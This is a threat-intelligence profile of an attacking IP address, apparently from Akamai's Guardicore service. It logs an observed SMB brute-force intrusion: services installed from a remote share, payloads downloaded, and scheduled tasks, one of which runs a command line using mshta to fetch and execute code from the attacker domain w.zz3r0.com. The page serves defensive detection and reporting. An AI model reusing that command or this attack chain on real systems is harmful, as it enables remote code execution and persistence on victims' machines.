Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 36.76.203.169Previously Malicious

IP Address: 36.76.203.169Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Brute Force CMD Execute from Share Service Deletion Service Stop DNS Query Access Suspicious Domain Scheduled Task Creation SMB Share Connect Access Share Successful SMB Login Service Start SMB File Operation By CMD Download File Service Creation

Associated Attack Servers

2.indexsinas.me w.zz3r0.com

120.29.76.11 210.90.186.195

Basic Information

IP Address

36.76.203.169

Domain

-

ISP

PT Telkom Indonesia

Country

Indonesia

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2021-05-19

Last seen in Akamai Guardicore Segmentation

2023-02-07

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

c:\windows\system32\services.exe installed and started \\server-backup\c$\bftjvgzp.exe as a service named ezKA under service group None

Service Start Service Creation

bftjvgzp.exe was executed from the remote share \\server-backup\c$

Execute from Share

C:\windows\temp\svchost.exe was downloaded

Download File

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

SMB Brute Force Successful SMB Login

C:\TyMtOEYZ.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\tymtoeyz.exe as a service named WyUb under service group None

Service Start Service Creation

tymtoeyz.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service WyUb was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line c:\windows\qULAxYV.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The command line c:\windows\hivsV.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 3bfc65496c30e41e8dd32d616c19298accfc9f9ddbf6dadca45943204abdc88f

325000 bytes

C:\ACKjfivm.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes